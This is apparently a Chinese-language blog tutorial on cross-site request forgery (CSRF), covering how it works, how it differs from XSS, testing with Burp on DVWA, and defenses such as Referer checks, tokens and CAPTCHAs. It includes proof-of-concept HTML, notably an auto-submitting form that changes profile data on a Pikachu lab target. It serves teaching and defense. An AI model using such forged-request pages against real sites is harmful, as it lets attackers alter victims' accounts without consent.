CSRF漏洞精讲
文章目录
一、漏洞介绍
1.1 含义
CSRF（Cross-site Request Forgery，跨站请求伪造），缩写CSRF，也有少数文章称为XSRF，一种利用用户在当前已登录的Web应用程序上执行非本意操作的攻击方法（利用受害者尚未失效的身份认证信息（cookie，会话等），创建恶意伪造的web页面请求，在受害者不知情的情况下向服务器发送请求完成非法操作（转账、改密等））。
简言之，攻击者间接利用受害者合法身份，以其身份发送恶意请求。
1.2 漏洞实质
攻击者通过技术手段欺骗用户的浏览器访问一个曾经认证过的网站，由于带着认证信息被访问的网站认证信息后认为是真正用户操作便执行操作。（简单的身份认证只能保证请求发自某个用户的浏览器，却不能保证请求本身是用户自愿发起。）
1.3 攻击过程
- 受害者（用户）访问存在CSRF漏洞的站点A
- 攻击者（Hacker）设法 (点击链接、xss方式) 让受害者访问自己的站点B
- 受害者中招访问了攻击者制作的网站B
- 攻击者带着受害者的Cookie发送伪造的请求给站点A（实现非法操作）
- 站点A看到是用户的Cookie信息便执行了请求
- 攻击者达到目的，一次CSRF攻击完成
1.4 满足条件
- （利用受害者的Cookie向服务器发送伪造的请求：）
-
- 受害者登录Cookie未失效（建立在会话中）
-
- 攻击者设法拿到HTTP接口中传递的参数（同源策略）
-
- 攻击者设法构造攻击链接
-
- 受害者点击链接
- 受害者点击链接
1.5 XSS和CSRF区别
-
定义上区别
XSS：跨站脚本攻击
CSRF：跨站请求伪造 -
用户是否需要身份验证
XSS：不需要登录（盗取用户权限）
CSRF：需要登录状态下，获取Cookie（借助用户权限完成攻击，并没拿到用户权限） -
信任对象不同
XSS：利用用户对指定网站的信任
CSRF：利用网站对用户浏览器的信任
二、利用方式
2.1 GET传参利用脚本
具体利用场景方式可参考漏洞靶场Pikachu：CSRF（GET）
（src中填入GET传参的URL即可）
<img src="http://test.com/~1.php" alt="123">
<h1>404</h1>
<h1>file not found<h1>
2.2 POST传参利用脚本
具体利用场景方式可参考漏洞靶场Pikachu：CSRF（POST）
（form标签中写入传参的目的站点Input框中写入POST传参的值）
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.226.130/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="18626545453" />
<input id="add" type="text" name="add" value="china" />
<input id="email" type="text" name="email" value="aaa@qq.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
三、挖掘方式
Burp
（在容易出现漏洞的地方比如修改个人信息的地方进行测试，触发问题则存在漏洞：）
》》DVWA的CSRF漏洞点进行测试（修改密码且无原密码）
》》Burp抓取数据包，请求包中无token，可能存在漏洞：
》》点击生成CSRF poc
》》点击复制HTML
》》修改请求中的数据密码为222222
》》重新浏览器访问
》》密码被修改
》》伪造的密码被恶意篡改了，则存在csrf漏洞
Burp的主动和被动以及插件都不好用！
》》使用DVWA安全等级设为低提交新密码
》》BurpSuite默认静态扫描没有扫描出来
》》动态扫描没有CSRF
四、绕过姿势
五、防御手段
- referer头校验（服务端校验Referer头是否同域传来以此决定是否响应请求，能抵御99%的攻击）
Q&A：
问：Referer不可伪造吗？
答：Referer是浏览器自动带上的，基于认为浏览器没有漏洞前提下无法伪造。
问：Referer校验有啥缺点吗？
答：当今移动端崛起下流行前后端分离，app和web共用一套后端代码，但app不会自动带Referer头，因此app端不好处理
- token校验（CSRF之所以能成功是由于所有的用户验证信息都在cookie中，用户点击链接时保存在浏览器中的cookie会像服务器发送请求，因此黑客在完全不知验证信息情况下间接利用用户的cookie通过安全验证，要想防御CSRF，关键在于请求中放入黑客不能伪造的信息，且该信息不存于cookie中。可以在HTTP请求中以参数的形式加入一个随机产生的token，并在服务器端建立一个拦截器来验证token如果请求中没有token或者token内容不正确则拒绝请求。）
Q&A
问：GET和POST请求怎么加入token?
答：对于GET请求，token附在地址之后；对于POST请求在表单中提交一个隐藏的表单，<input type=“hidden” name=“csrftoken” value=“tokenvalue”>
问：”token验证方式万无一失吗？“
答：”现实中一个网站有很多请求，都加入token是很麻烦的，容易存在疏漏，一般在页面加载时通过js遍历dom树对所有a和form标签后加入token，解决大部门请求，但是页面加载生成后的html代码还需要编码时手动添加。第二个是难以保证token本身安全“
- 验证码（敏感操作时候用户提交表单中填写一个随机的字符串，可以完全解决CSRF，缺点是易用性不怎么友好）
上一篇： springboot快速入门
下一篇： 抖音、快手、火山等小视频去水印